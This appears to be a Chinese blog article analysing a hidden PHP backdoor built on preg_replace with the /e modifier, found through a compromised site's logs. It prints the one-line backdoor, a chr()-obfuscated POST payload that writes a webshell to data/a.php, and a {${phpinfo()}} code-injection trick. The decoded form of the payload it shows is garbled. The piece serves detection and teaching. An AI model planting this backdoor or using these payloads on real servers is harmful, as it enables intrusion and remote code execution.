preg_replace隐藏后门和后续探究
事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马,老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的,这个着实让人蛋疼.
后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的POST数据到某个文件,然后一段时间后,此IP就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是PHP后门,但是很快使用完毕后门就被删除了,哈哈,遇到小黑蛮细心的,然后通过分析发现,小黑的访问的文件发现代码:
@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门,隐蔽吧,基本上任何查杀软件都查杀不到.
preg_replace函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示：要确保replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误.
上面的代码是POST接受数据要测试,比较麻烦,如果换成GET获取数据的话。。。
举例,代码如下:echo preg_replace("/test/e",$_GET["h"],"jutst test");
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP代码执行).
如果我们要POST的话,我们测试提交下面的代码会怎么样呢?代码如下:
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr
(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr
(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr
(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr
//开源代码phprm.com
(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是如下代码:fputs(fopen(data/a.php,w),);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php,这个就恐怖了吧,再来一个有难度的例子,代码如下:
function test($str)
{
}
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("1")', $_GET["h"]);
提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会,因为经过正则匹配后,replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了.
有没有办法让它执行呢?当然有,在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行,为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理.
注意:双引号中的函数不会被执行和替换.
在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果.
(${phpinfo()}会被解释执行)。
可以先做如下测试:echo "{${phpinfo()}}"; phpinfo会被成功执行了,所以,各位查找后门的时候注意查找下,说了那么多,也了解了,以下我给的代码:
1 @preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
看似很正常的代码,其实就是一个极度危险的代码,隐藏颇深啊.
本文地址：
转载随意，但请附上文章地址:-)